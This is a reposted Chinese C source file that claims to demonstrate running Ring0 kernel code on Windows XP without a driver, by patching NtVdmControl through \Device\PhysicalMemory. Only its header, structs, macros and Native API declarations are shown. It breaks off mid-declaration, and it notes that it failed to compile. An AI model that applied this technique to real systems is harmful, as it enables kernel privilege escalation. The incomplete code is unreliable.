演示无驱动执行Ring0代码（C++） (转)

/********************************************************************

程 序: 演示无驱动执行Ring0代码
创建时间:
作 者: Ring0Demo.c v1.0 by zzzEVAzzz
来 源:
目 的: 演示无驱动执行Ring0代码
原 理: 通过/Device/PhysicalMemory修改NtVdmControl入口，跳转到Ring0Code

注 意:
最后修改:

整 理: hengai
编译环境: VC6 + WindowsXP 未能通过编译

*********************************************************************/

#include "StdAfx.h"
#include <Windows.h>
#include <Ntsecapi.h>
#include <Aclapi.h>

#pragma comment (lib,"ntdll.lib") // Copy From DDK
#pragma comment (lib,"Kernel32.lib")
#pragma comment (lib,"Advapi32.lib")

//------------------ 数据类型声明开始 --------------------//
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;

typedef struct _MY_PROCESS_INFO {
ULONG PID;
ULONG KPEB;
ULONG CR3;
CHAR Name[16];
ULONG Reserved;
} MY_PROCESS_INFO, *PMY_PROCESS_INFO;

typedef long NTSTATUS;
//------------------ 数据类型声明结束 --------------------//

//--------------------- 预定义开始 -----------------------//
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS 0x00000000
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_NOT_IMPLEMENTED 0xC0000002
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_INVALID_PARAMETER 0xC000000D
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
#define OBJ_KERNEL_HANDLE 0x00000200
#define SystemModuleInformation 11

#define InitializeObjectAttributes( p, n, a, r, s ) { /
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); /
(p)->RootDirectory = r; /
(p)->Attributes = a; /
(p)->ObjectName = n; /
(p)->SecurityDescriptor = s; /
(p)->SecurityQualityOfService = NULL; /
}
//--------------------- 预定义结束 -----------------------//

//------------------ Native API声明开始 ------------------//
NTSYSAPI
VOID
NTAPI
RtlInitUnicodeString(
PUNICODE_STRING DestinationString,
PCWSTR SourceString
);

NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);

NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PULONG ViewSize,
IN %